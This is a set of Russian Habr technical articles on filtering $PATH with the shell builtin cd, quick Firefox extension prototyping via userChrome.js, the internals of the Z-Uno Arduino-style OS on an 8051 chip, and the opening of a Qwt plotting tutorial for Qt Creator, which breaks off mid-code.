В давние времена [многоархитектурных Unix-окружений](https://utcc.utoronto.ca/~cks/space/blog/unix/FadingMultiArchUnixSetups) разработчики дистрибутивов не могли прийти к единому мнению о том, что должно быть в `$PATH`. Базовые вещи, вроде `/bin` и `/usr/bin`, были везде одинаковыми, но у каждого дистрибутива был собственный набор дополнительных директорий ([у Solaris их, например, было много](https://utcc.utoronto.ca/~cks/space/blog/solaris/SolarisPATH)). Кроме того — у разных локальных вычислительных групп было различное видение того, где должны размещаться локальные программы. Например — в `/usr/local/bin`, в `/local/bin`, в `/opt//bin`, в `//bin` и так далее. Всё это усложняло мне жизнь, так как я занимался [поддержкой](https://utcc.utoronto.ca/~cks/space/blog/sysadmin/WhyGenericProfile) общего набора dot-файлов, используемых во всех Unix-системах, за которые я отвечал, и мне не хотелось бы, чтобы моя переменная `$PATH` представляла бы собой огромный список, содержащий пути ко всем необходимым директориям каждой из систем. Поэтому мне нужно было убирать всё лишнее из гигантского базового списка директорий, которые могли присутствовать в `$PATH`, оставляя там лишь те директории, которые существовали в текущей системе. А чтобы ещё сильнее усложнить эту задачу, мне хотелось использовать для этого только команды, встроенные в оболочку, и это — при работе с [оболочкой](https://utcc.utoronto.ca/~cks/space/blog/sysadmin/NonstandardShellAdvantage), где `test` встроенной командой не является.
[](https://habr.com/ru/company/ruvds/blog/554298/)
К моему счастью, есть одна команда, которая должна быть встроенной в оболочку и при этом даёт сбой в том случае, если директории не существует (или если пользователь не может с ней работать). Это — команда `cd`. Использование `cd` в качестве замены `'test -d'` — это решение немного странное, но работоспособное. В моей оболочке были настоящие списки, поэтому я мог добиться того, что мне нужно, примерно так:
```
# то, что может попасть в $PATH, находится в $candidates
path=`{ tpath=()
for (pe in $candidates)
builtin cd $pe >[1=] >[2=] && tpath=($tpath $pe)
echo $tpath }
```
(С относительными путями этот код не работает, но в моей переменной `$PATH` таких путей не было.)
Так как во всех оболочках обязательно должна быть встроенная команда `cd`, тот же подход можно было использовать практически во всех оболочках. Bourne-подобные оболочки, правда, усложняли задачу по сборке `$PATH`. Там, как минимум, нужно было добавлять `:'s` между элементами ([cf](https://utcc.utoronto.ca/~cks/space/blog/programming/BourneSeparatedList)) и, возможно, в эквиваленте `$candidates` для таких оболочек нужно было бы использовать `:'s` между записями, что привело бы к необходимости разделять записи, основываясь на этой конструкции.
(В оболочке Bourne я представил бы `$candidates` в виде строки, заключённой в кавычки, элементы которой разделены пробелами, так как работать с таким списком директорий гораздо проще. Правда, при таком подходе я не смог бы обрабатывать $PATH-записи, содержащие пробелы, но таких записей в `$PATH` обычно не бывает.)
Использование `cd` вышеописанным образом — это, по сути, хак, но хаки — это то, к чему мы вынуждены прибегать в минималистичных окружениях оболочек, когда необходимо, для решения неких задач, обойтись без внешних программ. Я же, на самом деле, написал на C маленькую программу, `isdirs`, которая решала вышеописанную задачу, и использовал её в тех системах, с которыми я работал достаточно часто для того, чтобы оправдать компиляцию для них этой программы. А код, в котором использовалась команда `cd`, был чем-то вроде запасного варианта, применяемого в системах и в ситуациях, в которых я не мог воспользоваться моей `isdirs`.
(Этот материал можно счесть чем-то вроде продолжения одной моей [статьи](https://utcc.utoronto.ca/~cks/space/blog/unix/ShellTrickI) про хак командной оболочки Unix, которая тоже связана с кросс-архитектурной средой и с dot-файлами.)
**P.S.** То, о чём я рассказал, происходило в те времена, когда системы были достаточно медленными для того чтобы тот, кто их обслуживает, стремился бы к тому, чтобы без крайней нужды не пользоваться дополнительными внешними программами в dot-файлах оболочки. Именно поэтому я и решил пользоваться только встроенными командами оболочки вместо того, чтобы выполнять множество вызовов `test` или чего-то подобного. А в большинстве современных оболочек `test` — это встроенная в них команда.
Приходилось ли вам, при работе в Unix, решать какие-то задачи, необычным образом пользуясь исключительно встроенными командами оболочки?
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=perevod&utm_campaign=neobychnyj_sposob_ispolzovaniya_vstroennyx_komand_obolochki_dlya_vyyasneniya_togo,_kakie_direktorii_sushhestvuyut_v_sisteme) | https://habr.com/ru/post/554298/ | null | ru | null |
# Как быстро начать и эффективно продолжить писать расширение для лисы
### Обычно цикл разработки таков:
1) вносим изменение в исходники,
2) перепаковываем исходники в \*.xpi ([скриптами](http://kb.mozillazine.org/Windows_build_script)),
3) переключаемся на лису,
4) Ctrl+O, выбираем полученный выше \*.xpi,
5) появляется диалог установки, ждём 4 секунды,
6) жмём «Install»,
7) потом «Restart Firefox» и смотрим что изменилось.
*Стало* страшно? Тогда…
### userChrome.js
Единожды:
— устанавливаем расширение [userChrome.js](http://mozilla.zeniko.ch/userchrome.js.html)
— запускаем лису (единственный раз)
— в лисьем профиле наполняем файл `chrome/userChrome.js` первоначальным содержимым, например таким:
> `// Шайтан-строка! Пока что всё делаем после неё :-)
>
> if (location != "chrome://browser/content/browser.xul") throw "stop";
>
>
>
> // Браузер готов. Нет необходимости вешать первоначальный
>
> // листенер 'load' на window, как это делается в норамльных
>
> // расширениях. Просто начинаем работать.
>
>
>
> // Добавляем обработчик на клик мыши по таббару
>
> getBrowser().mTabContainer.addEventListener(
>
> 'click',
>
> function(event) { alert('clckkkkkkkkkkkkk!') },
>
> false
>
> )`
### И вот как выглядит цикл разработки теперь
1) вносим изменения в код userChrome.js,
2) в лисе открываем новое окно, смотрим что изменилось (все изменения касаются только новых окон).
Разница налицо.
Конечно, с перерастанием в обычный \*.xpi, разработка будет уже не так легка, зато старт быстрый!
### Полезности
Неплохо бы запастись расширением [Console2](http://console2.mozdev.org/) и настроить ей так, чтобы сама выскакивала наверх при ошибках.
Существует ещё ответвление, [userChromeJS](http://userchromejs.mozdev.org/) — добавлена функция импорта и что-то изменено про оверлеи.
Это расширение работает и для других продуктов Мозиллы. | https://habr.com/ru/post/48498/ | null | ru | null |
# Как мы среду Arduino на 8051 натягивали, или ОС на один процесс
Летом 2016 мы выпустили в широкую продажу нашу новую плату для разработки Z-Wave устройств — Z-Uno. Это абсолютно новаторское устройство, аналогов которому в мире Z-Wave пока нет. Учитывая большое количество программерских фишек, я решил поделиться некоторыми решениями, используемыми в Z-Uno.
Если кратко, то мы сделали упрощенную кооперативную ОС на 1 процесс на микроконтроллере семейства 8051 с API подобным Arduino.
Давайте сразу отвечу на главный вопрос: **ЗАЧЕМ**?
Как я [уже писал](https://geektimes.ru/company/zwave/blog/268602/), делаются устройства Z-Wave весьма непросто. Требуются не только навыки работы с микроконтроллерами, но и специальное ПО и программаторы.
Нашей целью было дать пользователю сравнительно простое средство для создания Z-Wave устройств, не используя дорогих и специфичных утилит и железок. Кроме того, протокол Z-Wave не слишком очевиден, и мы хотели «скрыть под капотом» все тонкости протокола, оставив пользователю только основную суть.
Так как нам хотелось дать пользователю максимальное количество аппаратных возможностей чипа Z-Wave (ноги, аппаратные драйверы шин, ...), было решено взять за основу среду Arduino. Она популярна, как раз даёт возможность работать с аппаратной частью микроконтроллера и использует немного упрощённый C++ (не все фишки плюсов там доступны). Причём не только стиль API (список общепринятых в Arduino функций обращения к железу), но и IDE. Но у нас есть нюанс — кучу работы нужно делать за пользователя, особенно радио обмен, т.е. нужно периодически брать управление и делать всё «чёрную работу», возвращая управление, когда мы не заняты обслуживанием радио и обработкой команд.
Кроме того, мы не можем распространять библиотеки Z-Wave как есть (требование владельца протокола, связанное с NDA), и хоть в сети полным-полно прошивок в .bin или .hex формате (для OTA-обновления устройств, например), включать библиотеки в среду Arduino мы не могли. Учитывая все вышесказанное, нам было просто необходимо изолировать код пользователя от кода обработки пакетов Z-Wave.
Итак, мы сделали ОС на 1 процесс, предоставив пользователю-разработчику простое API в стиле Arduino.
Об использовании Z-Uno (хоть и старой версии) я писал [в отдельной статье](https://geektimes.ru/company/zwave/blog/268980/). Также на GT есть [несколько других статей](https://geektimes.ru/search/?target_type=posts&order_by=relevance&q=z-uno+z-wave). Здесь же будут описаны детали реализации внутренностей Z-Uno. Дорогой читатель, добро пожаловать к нам «за кулисы».
### Архитектура
 Если совсем кратко, то Z-Uno состоит из 4х частей:
1. Загрузчик (bootloader), позволяющий менять наши прошивки. Почти все устройства с OTA-обновлением имеют такой.
2. Стек Z-Wave от Sigma Designs — это библиотеки, слинкованные со следующим уровнем.
3. Реализация классов команд Z-Wave, базовых функций, а так же вся работа со скетчом (заливка скетча и ответная сторона Arduino-подобного API). Эту часть мы будем называть «загрузчик скетча».
4. Пользовательский скетч, загружаемый пользователем самостоятельно через среду Arduino IDE — прямо как с любой из плат Arduino.
### «Многозадачность»
Передача управления от скетча к загрузчик скетча происходит добровольно. Однако долгое пребывание в скетче (более 10 мс) может испортить обмен данными по радио. В обратную сторону (из загрузчика скетча в скетч) управление также передаётся, когда загрузчик скетча бездействует. При этом, даже передав управление в скетч, многие прерывания изредка ненадолго возвращают управление в загрузчик скетча. Такая вот простая кооперативная ОС.
### Точки входа в пользовательский процесс (скетч)
В классическом C-интерфейсе программа начинается с main(). В скетчах Arduino вместо этого используется пара setup() и loop(). Мы решили адаптировать эту же конвенцию — при старте Z-Uno в процессе инициализации железа вызывается setup(), далее всё время, что стек Z-Wave и загрузчик скетча не заняты, вызывается loop(). Всё, вроде просто. Есть ещё точки попадания в пользовательский скетч, связанные с реализацией взаимодействия по сети Z-Wave: getter и setter. О них — ниже.
### Представление в Z-Wave и каналы
Ног у Z-Uno много, железа разного можно подключить немеренно. Но это же не просто Arduino, у нас тут Z-Wave зачем-то. Основная задача Z-Uno — это отображение периферии, подключенной к ногам Z-Uno на Z-Wave сущности и наоборот. Так как Z-Wave устройства могут иметь множество разных функций, мы решили дать пользователю доступ сразу к нескольким сущностям. Для упрощения мы решили создать по каналу на сущность (не буду вдаваться к детали Z-Wave, были и иные способы это сделать). У каждого канала свой тип в зависимости от настроек пользователя, и внутри реализованы соответствующие Классы Команд (Command Classes). Таких типов у нас пока четыре: бинарный датчик (класс команд Sensor Binary), многоуровневый датчик (Sensor Multilevel), реле (Switch Binary) и диммер (Switch Multilevel). В перспективе появятся ещё счётчики (Meter) и замки (Door Lock).
Все эти классы реализуют команды получения текущих значений (Get), реле и диммеры так же реализуют установку значения (Set). Получением команд и отправкой отчётов занимается наш код — загрузчик скетча, а вот значения эти нужно брать из пользовательского скетча и отдавать в него. Это взаимодействие мы реализовали через getter/setter-механизм. При описании каждого канала пользователь должен указать функции для использования в качестве getter и setter.
### Getter и Setter
Для корректной работы в сети Z-Wave нам нужно по запросу от других устройств сети оперативно отвечать на запросы текущих состояний и обрабатывать команды установки новых значений. Например, датчик движения мог прислать нам команду Set для включения реле, реализованного на Z-Uno. Или контроллер мог нас спросить о текущем статусе этого реле или текущем значении датчика, подключенного к Z-Uno. Все эти команды нам нужно оперативно исполнять, причём значение мы должны получать из пользовательского кода, туда же передавать пришедшие новые значения для каналов. «Оперативно» — понятие растяжимое. Мы сочли, что достаточно дождаться, когда пользовательский код выйдет из loop() или вызовет delay(). Таким образом, getter и setter запускаются только когда пользовательский код не исполняется.
Теперь по порядку разберём блоки получившейся системы.
### Сборка и загрузка кода в Z-Uno
Так как мы решили использовать среду Arduino IDE, нам потребовалось создать собственный пакет компилятора, загрузчика, библиотек и заголовочных файлов, который устанавливается через Board Manager среды Arduino IDE. Вот тут мы [описали процесс установки](http://z-uno.z-wave.me/install) для тех, кто с ним не знаком.
### Компилятор
Чип Z-Wave основан на архитектуре 8051, т.е. стандартный avr-gcc нам не подходит. Ничего интересного и в то же время открытого для 8051 кроме компилятора SDCC [sdcc.sourceforge.net](http://sdcc.sourceforge.net) мы не нашли. Увы, он понимает чистый C, никаких «плюсов». Но с компиляцией C-кода он вполне справляется, хотя и не так хорошо, как дорогущий Keil (который используется для создания всех устройств Z-Wave, в том числе нашей части кода Z-Uno). Нам повезло, создатели SDCC заранее предусмотрели множество опций, которыми мы воспользовались: ограничение на использование Code Space, IDATA, XDATA, адреса векторов прерываний… Об этом чуть позже — в разделе разделения ресурсов.
### Поддержка C++
Большинство библиотек для Arduino так или иначе используют C++, а точнее некоторые его синтаксические конструкции. Как уже упоминалось, компилировать C++ SDCC не умеет. Но многие библиотеки Arduino используют классы, наследия и полиморфизм. Мы перепробовали разные варианты, начиная со старого-доброго cfront и заканчивая новомодным clang. После долгого раздумья было решено взять [clang](http://llvm.org) и использовать его для синтаксического разбора пользовательского кода с последующим созданием чистейшего C-кода, который уже будет собираться SDCC. Таким образом, мы используем clang как транслятор С++ кода в Си, а не как полноценный компилятор. По тому же принципу работал первый компилятор С++ — уже упомянутый ранее cfront.
Тут напрашивается сразу вопрос: «Почему же вы пошли столь архаичным и странным путем». Ответ чрезвычайно прост: создание полноценного компилятора С++ для 8051 потребовало бы много времени, даже можно сказать ооочень много времени, несоизмеримо больше, чем время, которое мы отводили на весь проект Z-Uno. Кроме того, мы сразу пытались ограничить поддерживаемые семантические конструкции, всевозможные «фишки» С++, и именно поэтому назвали наш транслятор uCxx (сокращенно u=[mj:u]=micro). Строго говоря, наш транслятор поддерживает очень ограниченный диалект языка C++. uCxx на данный момент не умеет перегружать операторы, ничего не знает о шаблонах, также не работает со ссылками, не поддерживает множественного наследования, он никогда не слышал про операторы new и delete. Весь его джентельменский набор ограничен полиморфизмом на уровне классов и виртуальными функциями, но этого набора вполне хватает для портирования большинства Arduinо'вских библиотек с почти полным сохранением их интерфейса. Кроме того, uCxx делает некоторые «фишки», которые есть только у него. Например специально для Z-Uno он умеет перестраивать работу с пинами выделенного порта таким образом, чтобы обеспечить максимальную скорость управления пинами, может заполнять нопами (инструкция NOP) нужные участки кода и т.д. Мы сразу ушли от универсальности и постарались сделать специальное и максимально быстрое по времени разработки решение.
**Тут много технических деталей про генерацию кода**
Теперь вкратце попробуем описать принципы работы uCxx. Прежде всего из чего же он состоит !? Мы используем специально пропатченную версию libclang (пока тут еще есть множество мелких недоработок, таких как определение типа бинарного/унарного оператора и подобные вещи — вот и пришлось немного поправить библиотеку), биндинг libclang (его тоже пришлось отредактировать для соответствия пропатченной библиотеке) для Python. Основным языком разработки uCxx, таким образом, является именно Python. Python также был выбран, чтобы упростить разработку и выиграть время. Да, uCxx — это просто Python-скрипт, дергающий libclang, но тем не менее, Python-код uCxx преобразуется в бинарную сборку с помощью пакета pyinstaller и конечному пользователю не нужно ничего знать про Python, его среду исполнения и дополнительные библиотеки.
Попытаемся показать как работает uCxx. Сначала пользовательский скетч проходит фазу анализа, на которой определяются все используемые хидеры и по ним формируется список дополнительных файлов ядра/библиотек, которые необходимо включить в компиляцию (аналогично работает родной Arduino'вский препроцессор). После этого файл .ino отправляется на препроцессор: используется сторонний — sdcpp (часть компилятора SDCC). После этого полученный cpp-файл загоняется внутрь clang, который на выходе дает уже Abstract Syntax Tree (AST) всего файла. Именно на этом этапе определяются все синтаксические ошибки. Как выглядит основная часть AST-дерева для исходного кода можно увидеть в специальных отладочных файлах, которые имеют суффикс \_ast.txt. Полученное AST-дерево анализируется кодом uCxx. По-сути это обход большого дерева. Для каждого найденного класса создается специальная структура, которая хранит все данные объекта класса. Для каждого метода определяется его новое имя, которое формируется на основе названия родительского класса, количества и типа входных параметров. Такая техника является общепринятой для С++-компиляторов и называется «mangling». В uCxx используется свой собственный алгоритм построения таких имен, т.к. встроенный в библиотеку clang алгоритм оказался неработоспособным для конструкторов и поправить его было гораздо сложнее, чем написать свой собственный. В каждый нестатичный метод класса также добавляется — первый параметр, который в дальнейшем разыменовывается как this, что тоже является стандартным подход для ООП-компиляторов. Например в таких языках как Python такой синтаксис привычен пользователю.
Центральная часть нашего транслятора — это реализация виртуальных методов. В uСxx они реализуются с помощью таблицы виртуальных методов, которая формируется для каждого класса статично на этапе компиляции. Таблица заполняется указателями на функции. Функцией, в данном случае, мы называем транслированный на язык Си метод класса. Для имен этих функций введено специальное отношение порядка. Таким образом, родительский класс всегда содержит начало таблицы, а класс-наследник только расширяет уже имеющуюся таблицу, если у него есть новые виртуальные методы, и заполняет начало таблицы для всех перегружаемых методов родительского класса. При вызове виртуальной функции всегда вызывается метод корневого родительского класса, который уже осуществляет переход в нужную функцию потомка, используя для этого таблицу виртуальных функций. Указатель на таблицу виртуальных функций всегда хранится внутри данных объекта (специальное поле структуры класса). Детальнее увидеть как это происходит можно непосредственно в коде — выходные файлы транслятора — файлы с суффиксом "\_ucxx.cpp".
Одной из особенностей uCxx — является генерация функций инициализации для каждого модуля. Такие функции используются для инициализации глобальных объектов, заполнения таблиц виртуальных функций. Вызовы всех функций инциализации модулей, входящих в скетч, добавляются внутрь функции setup() пользовательского скетча.
Компиляция всего множества файлов, нужных для построения скетча, осуществляется два раза. На первом проходе определяется множество доступных для вызова пользовательских методов и множество методов инициализации, на втором проходе генерируется на основе этих множеств «уточненный код», из которого исключаются все незадействованные методы пользовательских классов. Такой подход позволяет сократить объем выходного скетча и при этом не сильно увеличивает время компиляции.
На финальном этапе для всех полученных «чистокровных» Си-файлов вызывается sdcc, он-то и собирает финальную hex-версию скетча. Вот и все — скетч готов для загрузки внутрь Z-Uno
### Загрузчик
Естественно, AVR-DUDE нам тоже не подходит. Более того, мы меняем лишь пользовательскую часть кода, сохраняя в Z-Uno нашу прошивку. Потому мы используем более-менее стандартный для Z-Wave протокол Serial API, похожий на то, что применяют для USB-стиков. Он позволяет передать в Z-Uno скетч (во вспомогательную память EEPROM), инициировать перезапись Code Space (FLASH) и перезагрузку (эту работу выполняет загрузчик скетча).
Для общения по этому протоколу с нашей прошивкой мы написали собственную небольшую утилиту на Python. Она-то и вызывается для заливки скетча, а так же новых версий наших прошивок (загрузчика скетча).
### Библиотеки и заголовки
Для корректной сборки пользовательского кода нам требуются библиотеки и файлы-заголовки для описания доступных функций. Именно здесь описано Arduino-подобное API. Вся эта часть лежит на [Github](https://github.com/Z-Wave-Me/Z-Uno-Core/), её можно щупать и править.
Библиотеки часто являются адаптацией стандартных Arduino'вских библиотек под специфику и архитектуру Z-Uno. Некоторые пользователи уже начали нам помогать, предлагая pull requests на github со своими библиотеками или исправлениями наших.
### Вызовы ОС и разные ABI
Сразу подчеркну, что прошивка Z-Uno (стек Z-Wave и загрузчик скетча) собраны компилятором Keil, в то время как скетч собирается в SDCC. Сказать, что код несовместим — это ничего не сказать. Эти компиляторы используют радикально разные ABI (Application Binary Interface), т.е. нотацию передачи параметров (через какие регистры, в каком порядке, как передать указатель на память,...) И тут-то мы и скрестили ежа с ужом. Для перехода из одного кода в другой мы использовали идею системных вызовов в Unix-подобных ОС. В памяти был отведён «стек» (по факту просто небольшая последовательность байт). Оба кода знают точный адрес этого массива. Пользовательский код кладёт сначала «номер syscall», далее в оговоренном порядке кладутся параметры, соответствующие этому syscall, в этот массив (через [zunoPush](https://github.com/Z-Wave-Me/Z-Uno-Core/blob/master/hardware/arduino/zuno/cores/zuno/LLCore_arduino.c#L38)), после чего прыгает по заданному адресу (LCALL) в код загрузчика скетча. Точка, куда идёт прыжок жёстко задана при компиляции пользовательского скетча. Попав в код загрузчика скетча, глядя на номер syscall, уже забираются (через zunoPop) параметры и выполняется нужная операцию над ними. В обратную сторону все работает аналогично. Перенос параметров через этот «массив-стек» позволяет не обращать внимание на то, какие регистры использует тот или иной компилятор (в нашем случае Keil C51 и SDCC могут использовать разные наборы регистров).
Чтобы легче было представить насколько по-разному эти два компилятора понимают передачу параметров в функции приведем небольшой пример. Так Keil передает первый однобайтовый параметр всегда через регистр R7, а двухбайтовый параметр через регистры R6-R7 (см. [тут](http://www.keil.com/support/man/docs/c51/c51_ap_parampassreg.htm)), в то время как SDCC этот же параметр будет передавать через DPL в случае однобайтового параметра, и через DPL/DPH — в случае двухбайтового (см. [мануал по SDCC](http://sdcc.sourceforge.net/doc/sdccman.pdf), стр. 53, пункт «3.12.1 Global Registers used for Parameter Passing»). Таким образом, налицо полная несовместимость этих компиляторов при передачи параметров функций через регистры.
Так как оба кода (загрузчик скетча /скетч) компилируются отдельно и друг о друге ничего не знают, они вполне могут предполагать, что регистры их никто не портит. Поэтому мы сохраняем все регистры при переходе из одного кода в другой и восстанавливаем при возвращении обратно.
Какие syscall у нас есть? Ну, естественно, реализации pinMode, digital/analogRead/Write, delay (см. ниже), работа с Serial0/1, SPI, чтение/запись EEPROM и NZRAM (область XRAM, живущая даже во сне), настройка KeyScanner, работа с IR-драйвером, уход в сон, отправка отчётов и команд другим устройствам (см. [ZUNO\_FUNC](https://github.com/Z-Wave-Me/Z-Uno-Core/blob/master/hardware/arduino/zuno/cores/zuno/ZUNO_Definitions.h)).
### Стек
Сначала мы пробовали идею с разными стеками и при переходе из пространства Z-Wave в пользовательское и наоборот. Делали путём выделения двух стеков в IDATA и сохранения SP при переходе. Однако данный подход оказался не очень экономным, т.к. для большой вложенности функций (а в C++ вложений много) мы нередко переполняли пользовательский стек. Вообще, стек в 8051 сильно ограничен по сравнению с AVR.
В итоге мы вернулись к очевидному варианту общего стека. Но есть один нюанс. О нём ниже (про delay).
### Разделение памяти
Кроме стека есть и другие общие ресурсы. Например, память. В 8051 её две: IRAM и XRAM. Операции с IRAM короче и быстрее (MOV), с XRAM более длинные (MOVX). Работа с указателями возможна только в XRAM.
В обоих случаях мы просто выкололи у Keil часть памяти, чтобы тот её не использовал, а в SDCC наоборот только её и разрешили. Такое вот простое разделение ресурсов. Лишь области для передачи параметров в syscall и область стека в IRAM используется совместно (ну, естественно все регистры тоже в IRAM, они тоже совместно используются).
### Реализация delay()
Большинство функций требуют что-то сделать и вернуть управление достаточно быстро. Но такая простая функция, как delay() потребовала больших усилий. Дело в том, что мы не можем просто заблокировать чип, сделав что-то вроде while(counter--); как это делается в Arduino. Если так сделать, то радио передача на это время прервётся (прерывания радио будут работать, но не анализ пришедших байтов). А при задержке на время более 10 мс радио обмен просто станет невозможным из-за потери пакетов.
Эту задачу мы решили достаточно хитро: при задержках на время менее 10 мс мы уходим в цикл, в котором запускаем библиотечную функцию работы с пришедшими радио пакетами. Она отвечает за сборку пакета и перенос во временный буфер входящей очереди. Кроме того она реализует ретрансляцию и прочие функции сетевого уровня Z-Wave. Но надолго так делать нельзя: управление по радио не будет работать, ответы на запросы значений датчиков тоже не будут отправляться.
Поэтому при задержках на большее время мы вынуждены-таки выйти из пользовательского кода и вернуться в код загрузчика скетча, который отвечает за верхнеуровневую обработку пакетов и ответы на них. В этом случае мы запоминаем, что находимся в delay, прыгаем в загрузчик скетча, стандартно работаем, но только не запускаем loop(). Как только таймер натикал, и мы должны вернуться, мы снимаем флаг и делаем RET, чтобы вернуться назад из delay() в пользовательский код.
Обращаю внимание, что все getter и setter всё ещё работают даже во время ожидания в delay().
### Работа с шинами
У чипа Z-Wave есть множество аппаратных драйверов: ШИМ, АЦП, UART, SPI,… Конечно, мы хотели дать процессу пользователю доступ к этой периферии. Для этого мы сделали несколько «syscall» (см. выше) с соответствующими параметрами. А уже на стороне пользовательской части в библиотеках и заголовках обернули их в привычные вид. Например, pinMode(), digitalRead() и digitalWrite() дают доступ к пинам (осуществляя внутри маппинг номеров ног по порядку на номера портов чипа Z-Wave), работа с ШИМ делается через analogWrite(), а к АЦП можно обратиться через analogRead(). Аналогично с UART и SPI, где мы сделали буферизацию в коде загрузчика скетча.
Те шины, для которых отсутствуют аппаратные драйверы (I2C, 1-Wire, специфичные DHT-11), мы реализовали прямо в пользовательском коде на базе GPIO (в библиотеках, подключаемых к скетчу).
### Работа с пинами, режим быстрых пинов
Однако такие протоколы как I2C могут требовать большой скорости. Достичь 400 кГц, вызывая syscall точно не получится. Уж очень много «сжирает» этот уровень абстракции. Поэтому было найдено другое решение. Один порт (8 пинов) мы выделили из остальных и назвали его «быстрые пины». Был добавлен новый тип данных s\_pin, который на уровне clang (до компиляции) преобразовывался в константу, а функции digitalWrite и digitalRead с такими пинами сразу преобразуется в запись в регистры управления пинами. Например, для включения P0.5: `P05 |= (1 << 5);`Кроме того было добавлена косвенная адресация такими пинами — при передаче переменной myPin типа s\_pin в функцию, в которой стоит digitalWrite или digitalRead с этой переменной, последние преобразуются в прямую работу с регистром. Например, `P0 |= (1 << (myPin-9)`Отмечу, что в архитектуре 8051 нельзя адресовать косвенно любой пин, а только в пределах конкретного порта. Именно поэтому мы выбрали один «быстрый» порт P0 (ноги 9-16 на Z-Uno). Таким образом вместо 1 мс на работу с портом через syscall мы пришли к 2 мкс для косвенной и 0.5 мкс для прямой адресации быстрых пинов.
### Что скрыто от пользователя
Напомню, нашей задачей было скрыть от пользователя часть функций как из-за NDA, так и для упрощения. В итоге вся кухня, связанная с Z-Wave скрыта совсем — пользователь не беспокоится о множестве необходимых для соответствия стандарту Z-Wave Plus классов команд. Например, Ассоциации, обновления прошивки, установка времени пробуждения, отчёт о заряде батарейки, тест дальности связи, шифрование, работа с каналами, отчёты о версии устройства и классов команд — это и многое другое уже реализовано корректным образом. Пользователю осталось написать логику самого устройства — связь пинов с пользовательскими типами каналов. Например, при получении команд Вкл/Выкл на первый канал включать/выключать пин, а при получении команд Вкл/Выкл на второй канал отправлять по UART команду другому микроконтроллеру.
Кроме того полностью скрыта под капотом реализация радио-части, обработки пакетов и прочее, что относится к стандарту Z-Wave, и что нет смысла давать пользователю.
### Заключение
В общем нам удалось достаточно красиво решить задачу создания собственных устройств Z-Wave для людей не знающих ни деталей протокола, ни тонкостей этого микроконтроллера. Простых знаний Arduino достаточно. За первый квартал с момента выпуска Z-Uno нам удалось не только продать плановую партию, но и собрать неплохое community вокруг этого проекта. Кроме того мы регулярно публикуем новые и новые [примеры использования](http://z-uno.z-wave.me/examples/) Z-Uno с разными датчиками.
Кстати, за время работы над проектом у нас появилось два конкурента, но оба свернулись прямо перед нашим запуском. Похоже, задача-таки была действительно не простой…
Надеюсь, наш опыт будет полезным, а в комментах читатели нам что-нибудь умное посоветуют.
 | https://habr.com/ru/post/313898/ | null | ru | null |
# Qwt и Qt Creator. Быстро и просто. Часть 2: элементы отображения и управления
В примерах использованы Qt Creator 3.0.0 (MinGW) и Qwt-6.1.0.
Для понимания этой статьи читателю желательно:
* иметь начальный опыт разработки windows-приложений в среде Qt Creator;
* понимать концепцию «сигнал-слот»;
* познакомиться с частью №1 цикла моих статей про Qwt: [habrahabr.ru/post/211204](http://habrahabr.ru/post/211204/)
**Qwt** – графическая библиотека, позволяющая значительно упростить процесс визуализации данных в программе. Упрощение заключается в следующем: нет необходимости вручную прописывать элементы отображения, такие как шкалы координат, сетки, кривые данных и проч. Следует лишь задавать параметры этих элементов.
**В части №1 (постепенно разрастающегося) цикла статей мы:**
• подключили Qwt к Qt Creator;
• построили график;
• настроили оси координат;
• изменяли масштаб графика (приближали/удаляли его);
• перемещались по полю графика;
• отображали координаты рядом с курсором по щелчку мышкой.
**В части №2 мы расширим функциональность нашего визуализатора:**
• добавим строку состояния;
• сохраним координаты клика в переменных и отобразим их в строке состояния;
• добавим кнопку на панель управления;
• добавим на панель управления QwtCounter (поле для номера, значение которого можно изменять стрелками, см. картинку).
• зададим с помощью QwtCounter смещение графика x;
• нажатием на кнопку сместим график на ранее заданную величину х.
**Примечание:** В рамках этой статьи при добавлении элементов управления GUI не используется.
**Подготовка: разбиение кода, представленного в статье №1, на функции**В предыдущей статье код шел целиком в конструкторе MainWindow. Теперь разделим код на функции. Присутствует небольшое изменение: если раньше мы прописывали непосредственно координаты точек кривой, то теперь мы их читаем из массива (см. комментарий).
Важно: если вы создаете новый проект, то не забудьте добавить в .pro файл строчку
```
CONFIG += qwt
```
и после этого запустить qmake.
**Вот такое содержание должно быть у файла mainwindow.h**
```
#ifndef MAINWINDOW_H
#define MAINWINDOW_H
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
namespace Ui {
class MainWindow;
}
class MainWindow : public QMainWindow
{
Q\_OBJECT
public:
explicit MainWindow(QWidget \*parent = 0);
~MainWindow();
private:
Ui::MainWindow \*ui;
QwtPlot \*d\_plot;
void setPlot();
QwtPlotGrid \*grid;
void setPlotGrid();
QwtPlotCurve \*curve;
QwtSymbol \*symbol;
void setCurveParameters();
// новый массив точек кривой
double pointArray[5][2];
QPolygonF points;
void addPointsToCurveAndShow();
QwtPlotMagnifier \*magnifier;
void enableMagnifier();
QwtPlotPanner \*d\_panner;
void enableMovingOnPlot();
QwtPlotPicker \*d\_picker;
void enablePicker();
};
#endif // MAINWINDOW\_H
```
**Вот требуемое содержание файла mainwindow.cpp.**
```
#include "mainwindow.h"
#include "ui_mainwindow.h"
MainWindow::MainWindow(QWidget *parent) :
QMainWindow(parent),
ui(new Ui::MainWindow)
{
ui->setupUi(this);
// Создать поле со шкалами для отображения графика
setPlot();
// Включить масштабную сетку
setPlotGrid();
// Кривая
setCurveParameters();
addPointsToCurveAndShow();
// Включить возможность приближения/удаления графика
enableMagnifier();
// Включить возможность перемещения по графику
enableMovingOnPlot();
// Включить отображение координат курсора и двух перпендикулярных
// линий в месте его отображения
enablePicker();
}
void MainWindow::setPlot()
{
// (this) - разместить поле на текущем окне
// #include
d\_plot = new QwtPlot( this );
setCentralWidget(d\_plot); // привязать поле к границам окна
d\_plot->setTitle( "Qwt demonstration" ); // заголовок
d\_plot->setCanvasBackground( Qt::white ); // цвет фона
// Параметры осей координат
d\_plot->setAxisTitle(QwtPlot::yLeft, "Y");
d\_plot->setAxisTitle(QwtPlot::xBottom, "X");
d\_plot->insertLegend( new QwtLegend() );
}
void MainWindow::setPlotGrid()
{
// #include
grid = new QwtPlotGrid();
grid->setMajorPen(QPen( Qt::gray, 2 )); // цвет линий и толщина
grid->attach( d\_plot ); // добавить сетку к полю графика
}
void MainWindow::setCurveParameters()
{
//#include
curve = new QwtPlotCurve();
curve->setTitle( "Demo Curve" );
curve->setPen( Qt::blue, 6 ); // цвет и толщина кривой
curve->setRenderHint
( QwtPlotItem::RenderAntialiased, true ); // сглаживание
// Маркеры кривой
// #include
symbol = new QwtSymbol( QwtSymbol::Ellipse,
